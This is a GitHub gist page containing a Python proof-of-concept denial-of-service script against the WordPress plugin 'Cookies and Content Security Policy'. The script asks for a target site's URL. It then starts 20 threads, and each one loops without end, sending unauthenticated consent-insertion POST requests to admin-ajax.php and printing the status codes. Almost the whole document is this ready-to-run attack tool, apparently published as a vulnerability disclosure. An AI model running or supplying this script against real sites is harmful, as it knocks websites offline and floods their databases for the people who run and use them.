Skip to content

Instantly share code, notes, and snippets.

@piotrmaciejbednarski
Created May 11, 2025 14:52
Show Gist options
  • Select an option

  • Save piotrmaciejbednarski/f738145c0ab24a110649dc16907e395b to your computer and use it in GitHub Desktop.

Select an option

Save piotrmaciejbednarski/f738145c0ab24a110649dc16907e395b to your computer and use it in GitHub Desktop.
Critical Security Vulnerability in the "Cookies and Content Security Policy"
import requests
import threading
import time
from datetime import datetime
# Function to perform an AJAX DoS attack on a specified target URL
def ajax_dos_attack(target_url):
# Data payload to be sent in the POST request
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': '365'
}
# Headers to simulate a browser making the request
headers = {
'User-Agent': 'Mozilla/5.0',
'Content-Type': 'application/x-www-form-urlencoded'
}
# Infinite loop to continuously send POST requests
while True:
try:
# Sending the POST request to the target's admin-ajax.php endpoint
response = requests.post(
f"{target_url}/wp-admin/admin-ajax.php",
data=data,
timeout=3
)
# Check the response status and print success or failure
status = "✓" if response.status_code == 200 else "✗"
print(f"[{datetime.now().strftime('%H:%M:%S')}] {status} {response.status_code}")
except requests.exceptions.Timeout:
# Handle timeout exceptions
print(f"[{datetime.now().strftime('%H:%M:%S')}] Timeout - server did not respond")
except Exception as e:
# Handle any other exceptions and print the error
print(f"[{datetime.now().strftime('%H:%M:%S')}] Error: {str(e)[:50]}")
# Main execution block
if __name__ == "__main__":
# Prompt the user to input the target WordPress site's URL
target = input("WordPress site URL (https://example.com): ")
thread_count = 20 # Number of threads to run in parallel
print(f"Starting DoS attack with {thread_count} concurrent threads...")
print("Press Ctrl+C to stop")
# Create and start the specified number of threads
for i in range(thread_count):
t = threading.Thread(target=ajax_dos_attack, args=(target,))
t.daemon = True # Set the thread as a daemon so it exits when the main program exits
t.start()
try:
# Keep the main program running indefinitely
while True:
time.sleep(1)
except KeyboardInterrupt:
# Handle Ctrl+C interruption and stop the attack
print("\nStopping the attack...")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment